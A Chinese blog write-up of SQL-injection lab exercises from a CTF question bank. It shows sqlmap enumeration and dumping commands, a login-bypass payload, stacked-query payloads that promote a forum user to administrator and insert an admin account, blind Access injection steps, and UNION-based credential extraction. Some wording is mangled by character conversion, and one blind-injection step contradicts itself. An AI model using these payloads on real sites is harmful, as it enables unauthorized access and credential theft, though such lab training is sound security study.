本部落格題庫來源于 實驗吧
使用Sqlmap進行SQL注入
1. 搭建python2.7的環境
2. 啟動Sqlmap 連接配接URL
`python2 sqlmap.py -u"http://ctf5.shiyanbar.com/8/index.php?id=1"`
在這裡檢視到了該Web服務的容器是用的Apache 背景使用PHP寫的,資料庫用的是MYSQL
3. 檢視MYSQL中所有的資料庫
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –dbs
可以看到有三個資料庫
4.檢視資料庫中的表
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –D my_db--tables
這個資料庫中有兩張表
5.檢視表中的列
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey –columns
可以看到這個表有一列,名字叫做K0y
6.檢視表中的行中的詳細資料
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey -C k0y --dump
使用AWVS掃描漏洞
1.打開工具,輸入要掃描的IP
2.開始掃描
掃描之後發現有SQL注入和CSS跨站攻擊的漏洞
3.使用爬蟲工具
使用Site Crawler抓取伺服器目錄下所有的目錄結構:
手工SQL注入
1.通路一個有SQL漏洞的站點
2.繞過登入驗證
我們想登入必須知道使用者名和密碼
在背景我們登入的時候,查詢的SQL應該這樣寫:
SELECT user_id, user_type, email FROM users WHEREuser_id = '使用者名' AND password = ‘密碼’
假如我們送出的表單是admin 和 2’ or 1’
我們查詢的SQL就變成了這樣:
SELECT user_id, user_type, email FROM users WHEREuser_id = 'admin' AND password = ‘2’ or '1'
要注意由于運算符優先級的問題,我們的SQL被拆成了兩個部分:
(SELECT user_id, user_type, email FROM usersWHERE user_id = 'admin' AND password = ‘2’) (or '1')
這樣不管我們前面的賬号密碼是什麼都被短路了,邏輯恒為真,也就繞過了登入驗證,進入了背景
論壇經典漏洞滲透
1.首先注冊一個賬号
這裡賬号密碼是 san 123456
2.測試注入點
使用
賬号:san’ and ‘a’ = ‘a
密碼:1234567
發現登入失敗,但是可以發現我們送出的表單已經插入到了查詢的SQL中了
4.提升使用者權限
之後我們嘗試把我們目前使用者提升權限。
在使用者名送出的表單的地方,插入提升權限的SQL,密碼是正确的密碼
';update dv_user setusergroupid=1 where username='san'--
這是雖然顯示使用者不存在,但是我們正常的登入一下
這時候我們就驚訝的發現我們從一個普通使用者變為了管理者了
5.添加管理者,登入背景
下面讓我們添加一個管理者賬号
san';insert into dv_admin(username,password,flag,adduser)values('san','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','san')—
這樣我們就在背景建立一個管理者,這個網站就取得了最高權限
手工注入Access資料庫
1.找到有漏洞的注入點
在url後面添加一個 ’
在url後面添加一個 and 1 = 1
頁面正常
在URL後面加入一個 and 1 = 2
經過上面的測試可以發現存在漏洞
2.猜解表名
在url後面添加and exists(select *from admin)
發現頁面正常,說明存在這張表
3.猜解列名
在url後面添加and exists(select admin from admin) 和 and exists(select password from admin)
發現頁面正常,說明存在這兩個列名
4.猜測字段長度
在url後面添加and (select top 1 len (admin) from admin > 1)
如果這時候顯示正常,就說明這個資料的長度大于1
然後依次加一,直到頁面報錯,這時候輸入的是5,是以長度就是5
5.猜測字段内容
然後在URL後面添加and (select top 1 asc(mid(admin,1,1)) from admin) > 97
這時候報錯,也就是說第一個字元的ASCII碼是97 也就是a
6.依次多次操作上面兩步,就能猜測出正确的賬号和密碼
聯合查詢SQL注入
在剛才實驗的基礎上,我們使用
Order by11 判斷字段的數目
Union select1,2,3,4,5,6,7,8,9,10,11 from admin 來判斷字段的編号
Union select 1,admin,password,4,5,6,7,8,9,10,11from admin來直接得到管理者的賬戶和面
使用DVWA進行SQL注入
1.Low級别的注入
通過1‘ or ’1’ = ‘1’來周遊資料庫當中的元素